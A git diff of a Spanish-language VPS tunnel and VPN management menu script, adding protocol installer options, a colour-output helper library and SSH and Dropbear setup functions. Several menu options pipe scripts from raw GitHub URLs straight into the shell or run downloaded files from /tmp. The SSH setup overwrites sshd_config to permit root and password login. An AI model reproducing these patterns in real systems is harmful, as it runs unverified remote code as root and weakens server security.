+[[ -e /usr/local/etc/trojan/config.json ]] && troj="\033[1;32m[ON]" || troj="\033[1;31m[OFF]"
+[[ -e /etc/default/sslh ]] && sslh="\033[1;32m[ON] " || sslh="\033[1;31m[OFF]"
+[[ -e /usr/local/ddos/ddos.conf ]] && ddos="\033[1;32m[ON]"
+ssssrr=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'`
+[[ ! -z "${ssssrr}" ]] && cc="\033[1;32m" || cc="\033[1;31m"
+[[ -d /usr/local/shadowsocksr ]] && {
+user_info=$(cd /usr/local/shadowsocksr &> /dev/null && python mujson_mgr.py -l )
+user_t="\033[1;33m$(echo "${user_info}"|wc -l) Cts"
+} || user_t="\033[1;31m[OFF]"
+[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpd="\033[1;31m[OFF]" || _tcpd="\033[0;31m[\033[0;32mON\033[0;31m] "
+[[ "$(cat /etc/pam.d/common-password | grep ChumoGH | wc -l)" != '0' ]] && _fv="\033[0;31m[\033[0;32mON\033[0;31m]" || _fv="\033[1;31m[OFF]"
+[[ -e /etc/.hosts.original ]] && _ADS="\033[0;31m[\033[0;32mON\033[0;31m]" || _ADS="\033[1;31m[OFF]"
+[[ "$(echo -e "$_portbaSE" | grep 'docker' | wc -l)" != '0' ]] && chiselsts="\033[1;32m[ON]" || chiselsts="\033[1;31m[OFF]"
+tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2
+echo -e "${cor[5]} ${h0nG} INSTALACION DE PROTOCOLOS ${h0nG} "
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m${flech} ${cor[3]}SQUID $squid \033[0;35m [\033[0;36m11\033[0;35m]\033[0;33m${flech} ${cor[3]}PSIPHON SERVER $pps"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m${flech} ${cor[3]}DROPBEAR $dropb \033[0;35m [\033[0;36m12\033[0;35m]\033[0;33m${flech} ${cor[3]}TCP DNS \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m${flech} ${cor[3]}OPENVPN $openvpn \033[0;35m [\033[0;36m13\033[0;35m]\033[0;33m${flech} ${cor[3]}WEBMIN $webminn"
+echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL/TLS $stunel \033[0;35m [\033[0;36m14\033[0;35m]\033[0;33m${flech} ${cor[3]}SlowDNS $P1"
+echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS-R $shadow \033[0;35m [\033[0;36m15\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL->PYTHON ${socksA}" #\033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS $user_t \033[0;35m [\033[0;36m16\033[0;35m]\033[0;33m${flech} ${cor[3]}SSLH Multiplex $sslh"
+echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m${flech} ${cor[3]}PROXY PYTHON $socks \033[0;35m [\033[0;36m17\033[0;35m]\033[0;33m${flech} ${cor[3]}OVER WEBSOCKET \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m${flech} ${cor[3]}V2RAY SWITCH $v2ray \033[0;35m [\033[0;36m18\033[0;35m]\033[0;33m${flech} ${cor[3]}SOCKS5 \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;33m${flech} ${cor[3]}CFA ( CLASH ) $xclash\033[0;35m [\033[0;36m19\033[0;35m]\033[0;33m${flech} ${cor[3]}Protocolos UDP $_pidUDP"
+echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;33m${flech} ${cor[3]}TROJAN-GO $pTROJ \033[0;35m [\033[0;36m20\033[0;35m]\033[0;33m${flech} ${cor[5]}FUNCIONES EN DISEO!"
+msg -bar #msg -bar
+echo -e "${cor[5]} ${h0nG} INSTALACION DE HERRAMIENTAS Y SERVICIOS ${h0nG} "
+msg -bar
+echo -e "\033[0;35m [\033[0;36m21\033[0;35m]\033[0;33m ${flech} ${cor[3]}BLOCK TORRENT \033[0;35m [\033[0;36m22\033[0;35m]\033[0;33m ${flech} ${cor[3]}BadVPN $_badvpn"
+echo -e "\033[0;35m [\033[0;36m23\033[0;35m]\033[0;33m ${flech} ${cor[3]}TCP (BBR|Plus) $_tcpd \033[0;35m [\033[0;36m24\033[0;35m]\033[0;33m ${flech} ${cor[3]}FAILBAN $fail_b"
+echo -e "\033[0;35m [\033[0;36m25\033[0;35m]\033[0;33m ${flech} ${cor[3]}ARCHIVO ONLINE \033[0;31m[\033[0;32m${portFTP}\033[0;31m] \033[0;35m [\033[0;36m26\033[0;35m]\033[0;33m ${flech} ${cor[3]}UP|DOWN SpeedTest " #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m27\033[0;35m]\033[0;33m ${flech} ${cor[3]}DETALLES DEL VPS \033[0;35m [\033[0;36m28\033[0;35m]\033[0;33m ${flech} ${cor[3]}Block ADS $_ADS" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m29\033[0;35m]\033[0;33m ${flech} ${cor[3]}DNS CUSTOM (NETFLIX) \033[0;35m [\033[0;36m30\033[0;35m]\033[0;33m ${flech} ${cor[3]}FIREWALLD CUSTOM" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m31\033[0;35m]\033[0;33m ${flech} ${cor[3]}Fix PassWD VULTR ${_fv} \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar
+selection=$(selection_fun 20)
+case ${selection} in
+0) break;;
+1) fun_squid && read -p " Enter";;
+2) fun_dropbear && read -p " Enter";;
+3) fun_openvpn && read -p " Enter";;
+4) ssl_stunel && read -p " Enter";;
+5) fun_shadowsocks && read -p " Enter";;
+6) ssrmenu && read -p " Enter";;
+7) iniciarsocks && read -p " Enter";;
+8) v2ray-socket && read -p " Enter";;
+9) instala_clash && read -p " Enter";;
+10) trojan && read -p " Enter";;
+11) psix && read -p " Enter";;
+12) tcpd && read -p " Enter";;
+13) web_min && read -p " Enter";;
+14) slow-dns && read -p " Enter";;
+15) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/autoconfig.sh) && read -p " Enter";;
+16) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/sslh-back3.sh) && read -p " Enter";;
+17) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ws-java.sh) && read -p " Enter";;
+18) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/socks5.sh) && read -p " Enter";;
+19) _funUDP && read -p " Enter";;
+20) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/h_beta.sh) && read -p " Enter";;
+#21)fun_chisel && read -p " Enter";;
+21) source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) && read -p " Enter";;
+22) funBadVPN && read -p " Enter";;
+23) funTCP && read -p " Enter";;
+24) funFAILBAN && read -p " Enter";;
+25) funARQONLINE && read -p " Enter";;
+26) funSPEED && read -p " Enter";;
+27) funDETSYS && read -p " Enter";;
+28) BlockADS && read -p " Enter";;
+29) wget -q -O /tmp/dnsNN.sh ${_link}l1hjn77fp0cywsl/dnsNN.sh?dl=0; chmod +x /tmp/dnsNN.sh;bash /tmp/dnsNN.sh && read -p " Enter";;
+31) BlockADS && read -p " Enter";;
+30) fun_bar 'fun_ports' && read -p " Enter";;
+esac
+done
+#Reinicia ADM
diff --git a/Lista/msg b/Lista/msg
new file mode 100644
index 0000000..2771d8f
--- /dev/null
+++ b/Lista/msg
@@ -0,0 +1,225 @@
+#!/bin/bash
+# menu maker (opciones 1, 2, 3,.....)
+#HOLA
+
+flech='➮' cOlM='⁙' && TOP='‣' && TTini='=====>>►► 🐲' && cG='/c' && TTfin='🐲 ◄◄<<=====' && TTcent='💥' && RRini='【 ★' && RRfin='★ 】' && CHeko='✅' && ScT='🛡️' && FlT='⚔️' && BoLCC='🪦' && ceLL='🧬' && aLerT='⚠️' && _kl1='ghkey' && lLaM='🔥' && pPIniT='∘' && bOTg='🤖' && kL10='tc' && rAy='⚡' && tTfIn='】' && TtfIn='【' tTfLe='►' && am1='/e' && rUlq='🔰' && h0nG='🍄' && lLav3='🗝️' && m3ssg='📩' && pUn5A='⚜' && p1t0='•' nib="${am1}${kL10}"
+cOpyRig='©' && mbar2=' •••••••••••••••••••••••'
+
+_check1=$5
+_check2=$6
+_check3=$7
+_check4=$8
+_check5=$9
+
+menu_func(){
+ local options=${#@}
+ local array
+ for((num=1; num<=$options; num++)); do
+ echo -ne "$(msg -verd " [$num]") $(msg -verm2 ">") "
+ array=(${!num})
+ case ${array[0]} in
+ "-vd") echo -e "\033[1;33m[!]\033[1;32m ${array[@]:1}";;
+ "-vm") echo -e "\033[1;33m[!]\033[1;31m ${array[@]:1}";;
+ "-fi") echo -e "${array[@]:2} ${array[1]}";;
+ -bar|-bar2|-bar3|-bar4) echo -e "\033[1;37m${array[@]:1}\n$(msg ${array[0]})";;
+ *) echo -e "\033[1;37m${array[@]}";;
+ esac
+ done
+ }
+
+
+selection_fun () {
+local selection="null"
+local range
+for((i=0; i<=$1; i++)); do range[$i]="$i "; done
+while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do
+echo -ne "\033[1;37m ► Opcion : " >&2
+read selection
+tput cuu1 >&2 && tput dl1 >&2
+done
+echo $selection
+}
+
+
+tittle () {
+[[ -z $1 ]] && rt='chukk-script' || rt='ChuKK'
+ clear&&clear
+ toilet -f future 'ChuKK-SCRIPT' | lolcat
+ msg -bar3
+}
+in_opcion(){
+ unset opcion
+ if [[ -z $2 ]]; then
+ msg -nazu " $1: " >&2
+ else
+ msg $1 " $2: " >&2
+ fi
+ read opcion
+ echo "$opcion"
+}
+# centrado de texto
+print_center(){
+ if [[ -z $2 ]]; then
+ text="$1"
+ else
+ col="$1"
+ text="$2"
+ fi
+
+ while read line; do
+ unset space
+ x=$(( ( 54 - ${#line}) / 2))
+ for (( i = 0; i < $x; i++ )); do
+ space+=' '
+ done
+ space+="$line"
+ if [[ -z $2 ]]; then
+ msg -azu "$space"
+ else
+ msg "$col" "$space"
+ fi
+ done <<< $(echo -e "$text")
+}
+# titulos y encabesados
+title(){
+ clear
+ msg -bar
+ if [[ -z $2 ]]; then
+ print_center -azu "$1"
+ else
+ print_center "$1" "$2"
+ fi
+ msg -bar
+ }
+
+# finalizacion de tareas
+ enter(){
+ msg -bar
+ text="►► Presione enter para continuar ◄◄"
+ if [[ -z $1 ]]; then
+ print_center -ama "$text"
+ else
+ print_center "$1" "$text"
+ fi
+ read
+ }
+
+# opcion, regresar volver/atras
+back(){
+ msg -bar
+ echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra "\033[1;41mVOLVER"
+ msg -bar
+ }
+
+msg () {
+local colors="/etc/new-adm-color"
+if [[ ! -e $colors ]]; then
+COLOR[0]='\033[1;37m' #BRAN='\033[1;37m'
+COLOR[1]='\e[31m' #VERMELHO='\e[31m'
+COLOR[2]='\e[32m' #VERDE='\e[32m'
+COLOR[3]='\e[33m' #AMARELO='\e[33m'
+COLOR[4]='\e[34m' #AZUL='\e[34m'
+COLOR[5]='\e[35m' #MAGENTA='\e[35m'
+COLOR[6]='\033[1;97m' #MAG='\033[1;36m'
+COLOR[7]='\033[1;49;95m'
+COLOR[8]='\033[1;49;96m'
+else
+local COL=0
+for number in $(cat $colors); do
+case $number in
+1) COLOR[$COL]='\033[1;37m';;
+2) COLOR[$COL]='\e[31m';;
+3) COLOR[$COL]='\e[32m';;
+4) COLOR[$COL]='\e[33m';;
+5) COLOR[$COL]='\e[34m';;
+6) COLOR[$COL]='\e[35m';;
+7) COLOR[$COL]='\033[1;36m';;
+8) COLOR[$COL]='\033[1;49;95m';;
+9) COLOR[$COL]='\033[1;49;96m';;
+esac
+let COL++
+done
+fi
+NEGRITO='\e[1m'
+SEMCOR='\e[0m'
+ case $1 in
+ -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";;
+ -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";;
+ -verm2) cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -aqua) cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -bra) cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}";;
+ -nazu) cor="${COLOR[6]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";;
+ -nverd) cor="${COLOR[2]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";;
+ -nama) cor="${COLOR[3]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";;
+ -verm3) cor="${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";;
+ -teal) cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -teal2) cor="${COLOR[7]}" && echo -e "${cor}${2}${SEMCOR}";;
+ -blak) cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -blak2) cor="${COLOR[8]}" && echo -e "${cor}${2}${SEMCOR}";;
+ -blu) cor="${COLOR[9]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
+ -blu1) cor="${COLOR[9]}" && echo -e "${cor}${2}${SEMCOR}";;
+ -bar) ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";;
+ -bar1) ccor="${COLOR[1]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";;
+ -bar2) ccor="${COLOR[1]}=====================================================" && echo -e "${SEMCOR}${ccor}${SEMCOR}";;
+ -bar3) ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";;
+ -bar4) ccor="${COLOR[5]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${ccor}${SEMCOR}";;
+ -br) ccor="━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${ccor}";;
+ esac
+}
+
+fun_bar () {
+comando[0]="$1"
+comando[1]="$2"
+ (
+[[ -e $HOME/fim ]] && rm $HOME/fim
+${comando[0]} -y > /dev/null 2>&1
+${comando[1]} -y > /dev/null 2>&1
+touch $HOME/fim
+ ) > /dev/null 2>&1 &
+echo -ne "\033[1;33m ["
+while true; do
+ for((i=0; i<18; i++)); do
+ echo -ne "\033[1;31m##"
+ sleep 0.1s
+ done
+ [[ -e $HOME/fim ]] && rm $HOME/fim && break
+ echo -e "\033[1;33m]"
+ sleep 1s
+ tput cuu1
+ tput dl1
+ echo -ne "\033[1;33m ["
+done
+echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m"
+}
+
+del(){
+ for (( i = 0; i < $1; i++ )); do
+ tput cuu1 && tput dl1
+ done
+}
+
+sysctl -w net.ipv6.conf.all.disable_ipv6=1 &> /dev/null
+sysctl -w net.ipv6.conf.default.disable_ipv6=1 &> /dev/null
+sysctl -w net.ipv6.conf.lo.disable_ipv6=1 &> /dev/null
+
+[[ -d /bin/ejecutar ]] && {
+[[ -e /bin/ejecutar/msg ]] || wget -q -O /bin/ejecutar/msg https://raw.githubusercontent.com/CuervoCool/chukkmod/main/msg-bar/msg
+} || mkdir /bin/ejecutar
+cor[0]="\033[0m"
+cor[1]="\033[1;34m"
+cor[2]="\033[1;32m"
+cor[3]="\033[1;37m"
+cor[4]="\033[1;36m"
+cor[5]="\033[1;33m"
+cor[6]="\033[1;35m"
+export -f msg
+export -f fun_bar
+export -f tittle
+export -f enter
+export -f back
+export -f print_center
+export -f in_opcion
+export -f del
diff --git a/Lista/payloads b/Lista/payloads
old mode 100644
new mode 100755
diff --git a/Lista/protos.sh b/Lista/protos.sh
new file mode 100755
index 0000000..17a390d
--- /dev/null
+++ b/Lista/protos.sh
@@ -0,0 +1,3935 @@
+#!/bin/bash
+source $(pwd)/msg
+
+_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)"
+portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq)
+portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1)
+
+number_var () {
+unset var_number
+if (echo "$1" | egrep '[^0-9]' &> /dev/null); then
+echo -e "${cor[5]} SOLO NUMEROS!"
+else
+var_number="$1"
+fi
+}
+
+sslkk (){
+ sslports=`netstat -tunlp | grep stunnel | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /ADMcgh/sslports.txt && cat /ADMcgh/sslports.txt`;
+ pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1)
+}
+#par=$(v2ray info | grep path |awk -F : '{print $4}')
+
+verif_ptrs() {
+ porta=$1
+ PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
+ for pton in $(echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq); do
+ svcs=$(echo -e "$PT" | grep -w "$pton" | awk '{print $1}' | uniq)
+ [[ "$porta" = "$pton" ]] && {
+ echo -e "\n\033[1;31mPUERTO \033[1;33m$porta \033[1;31mESTA EN USO POR \033[1;37m$svcs\033[0m"
+ sleep 0.5
+ return 0
+ }
+ done
+ }
+
+fun_log () {
+[[ -e /bin/ejecutar/sshd_config ]] && {
+####
+sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu)
+[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells
+[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells
+sed -i "/filemancgh/d" /etc/shells
+echo "/bin/false" >> /etc/shells
+echo "/usr/sbin/nologin" >> /etc/shells
+[[ "$sysvar" != "" ]] && {
+echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config
+} || {
+echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config
+}
+} || {
+cp /etc/ssh/sshd_config /bin/ejecutar/sshd_config
+sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu)
+[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells
+[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells
+sed -i "/filemancgh/d" /etc/shells
+echo "/bin/false" >> /etc/shells
+echo "/usr/sbin/nologin" >> /etc/shells
+[[ "$sysvar" != "" ]] && {
+echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config
+} || {
+echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config
+}
+}
+######################
+
+}
+
+
+ban_inex () {
+sleep 0.6
+for i in {1..4}; do tput cuu1&&tput dl1 ; done
+sleep 0.5
+msg -bar
+printf " %10s [ $(printext 'MODIFICACIÓN DEL BANNER')]\n"
+msg -bar
+echo -e "$(msg -ama "Puedes modificar rápidamente el banner, solo copia y pega el\ntexto en formato html ó se usará el banner \npredeterminado del script.\n")"
+echo -e "\n"&&msg -p "¿Deseas configurar el banner ssh/dropbear? [Ss/Nn]: " 'bdp'
+if [[ -z $bdp ]]; then
+ [[ -e /root/name ]] && credi="$(cat < /root/name)" || credi="${credit}"
+else
+ msg -bar&&credi=`read -p $'\e[1;30m Ingrese su resell: \e[1;32m' ress&&echo -e $ress`
+fi
+msg -bar
+msg -ama 'Recuerda que ingresando a control de usuarios, puedes personalizar aún más el banner en la opción 6'
+msg -bar
+fun_bar
+cat << EOF > /etc/bannerssh
+ ⚡
+ $credit ® | $credi
+EOF
+[[ -d /etc/dropbear ]] && { [[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner
+} || {
+mkdir /etc/dropbear
+[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner
+}
+for i in {1..2};do tput cuu1&&tput dl1 ; done
+msg -bar&&print_center -v '[+] BANNER CONFIGURADO EXITOSAMENTE [+]'
+enter
+dropbearuniversal
+}
+
+function dropbearuniversal(){
+clear&&clear
+figlet 'DROPBEAR'|lolcat
+msg -bar
+echo -ne "\e[1;30m \033[1;34mRESOLVIENDO DROPBEAR ==> SSH "
+(
+service dropbear stop 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne "\n\033[1;31m[ ! ] VERIFICANDO COMPATIBILIDAD DEL BANNER " && sleep 0.5s && echo -e "\033[1;32m [OK]"
+[[ -e /etc/bannerssh ]] && {
+####
+fun_log&&sleep 0.4
+for i in `seq 1 4`;do tput cuu1&&tput dl1 ; done
+msg -bar&&msg -azu 'INSTALANDO DROPBEAR'
+#fun_bar 'apt install dropbear -y'
+fun-inst 'dropbear'
+service dropbear stop 1> /dev/null 2> /dev/null
+msg -bar&&print_center 'INGRESE SU PUERTO DROPBEAR'
+msg -bar&&echo -e "\e[1;30mPuertos recomendados => [80,90,110,444,999, etc]"&&msg -bar
+ while read -p $'\e[1;30m[+] \e[1;34mPuerto dropbear: \e[1;36m' puertodropbear; do
+ if [[ -z $puertodropbear ]]; then
+ tput cuu1 && tput dl1
+ echo -e "\e[1;31m[x] INGRESE UN PUERTO VÁLIDO [x]"&&sleep 0.4
+ tput cuu1&&tput dl1;unset puertodropbear&&read -p $'\e[1;30m[+] \e[1;34mPuerto dropbear: \e[1;36m' puertodropbear
+ else
+ PortDROP=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $puertodropbear`
+ [[ -n "$PortDROP" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$puertodropbear"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ unset puertodropbear
+# msg -bar
+ fi
+ done
+msg -bar
+echo $puertodropbear > /etc/default/dadd
+echo -e 'NO_START=0' > /etc/default/dropbear
+echo -e '# the TCP port that Dropbear listens on' >> /etc/default/dropbear
+echo -e '#DROPBEAR_PORT=22' >> /etc/default/dropbear
+echo -e 'DROPBEAR_EXTRA_ARGS="-p '$puertodropbear'"' >> /etc/default/dropbear
+echo -e 'DROPBEAR_BANNER="/etc/dropbear/banner"' >> /etc/default/dropbear
+echo -e "DROPBEAR_RECEIVE_WINDOW=65536" >> /etc/default/dropbear
+[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells
+[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells
+sed -i "/filemancgh/d" /etc/shells
+echo "/bin/false" >> /etc/shells
+echo "/usr/sbin/nologin" >> /etc/shells
+[[ ! -e /etc/dropbear/banner ]] && touch /etc/dropbear/banner || cat /etc/bannerssh > /etc/dropbear/banner
+service dropbear restart 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+service sshd restart 1> /dev/null 2> /dev/null
+echo -e "\e[1;37mPUERTO DROPBEAR: \e[1;33m$puertodropbear"
+service dropbear start 1> /dev/null 2> /dev/null
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $puertodropbear/tcp 1> /dev/null 2> /dev/null
+fun_eth
+return 0
+ } || {
+ban_inex
+return 1
+}
+}
+
+fun_eth () {
+eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+ [[ $eth != "" ]] && {
+ msg -bar
+ echo -e "${cor[3]} Aplicar Sistema Para Mejorar Sistema SSH?"
+ echo -e "${cor[3]} Opcion Para Usuarios Avanzados"
+ msg -bar
+ read -p " [S/N]: " -e -i n sshsn
+ [[ "$sshsn" = @(s|S|y|Y) ]] && {
+ echo -e "${cor[1]} Correcion de problemas de paquetes en SSH..."
+ echo -e " Quota en Entrada"
+ echo -ne "[ 1 - 999999999 ]: "; read rx
+ [[ "$rx" = "" ]] && rx="999999999"
+ echo -e " Quota en Salida"
+ echo -ne "[ 1 - 999999999 ]: "; read tx
+ [[ "$tx" = "" ]] && tx="999999999"
+ apt-get install ethtool -y > /dev/null 2>&1
+ ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
+ }
+ msg -bar
+ }
+}
+
+
+
+squid_cache () {
+msg -bar
+echo -e "${cor[5]} Caché de Squid no es más Que
+ Un historial de navegación en Squid
+ Que ahorrará datos al abrir sitios
+ Alojados en su caché
+ ¡El script hará una breve comprobación!"
+msg -bar
+sleep 0.5s
+if [ -e /etc/squid/squid.conf ]; then
